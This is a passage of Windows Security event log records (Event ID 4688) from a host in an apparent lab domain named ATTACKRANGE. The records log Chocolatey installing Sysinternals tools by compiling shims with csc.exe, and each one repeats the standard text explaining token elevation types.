Information: - New Process ID: 0xeb8 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xb2c - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246433 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb2c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe38 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\ctrl2cap.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123407_1148\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123407_1148\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123407_1148\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123407_1148\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123407_1148\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246432 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x864 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe38 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246431 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe38 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\ctrl2cap.exe" --output="C:\ProgramData\chocolatey\bin\ctrl2cap.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\ctrl2cap.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246430 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc48 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x62c - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESC04D.tmp" "c:\ProgramData\chocolatey\bin\CSCC2CB1623EB3E49159C3EA2A8DF95A06E.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246474 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf50 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xda8 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246473 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xda8 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x8bc - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\DiskView.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123408_9116\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123408_9116\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123408_9116\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123408_9116\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123408_9116\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246472 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x3e0 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x8bc - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246471 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x8bc - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\DiskView.exe" --output="C:\ProgramData\chocolatey\bin\DiskView.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\DiskView.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246470 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe8c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd70 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESC752.tmp" "c:\ProgramData\chocolatey\bin\CSC7B832543AB4C4AD287FF17A33344F613.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246469 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xeb4 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd70 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246468 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd70 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x9ac - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\Diskmon.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123408_6929\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123408_6929\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123408_6929\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123408_6929\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123408_6929\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246467 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xafc - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x9ac - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246466 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x9ac - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\Diskmon.exe" --output="C:\ProgramData\chocolatey\bin\Diskmon.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\Diskmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246465 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xda0 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x470 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESC677.tmp" "c:\ProgramData\chocolatey\bin\CSC5E2DF3B1976F43A387FDC9A3DED66DD2.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246464 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa44 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x470 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246463 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x470 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x64c - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\diskext64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123408_4741\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123408_4741\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123408_4741\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123408_4741\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123408_4741\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246462 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa40 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x64c - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with 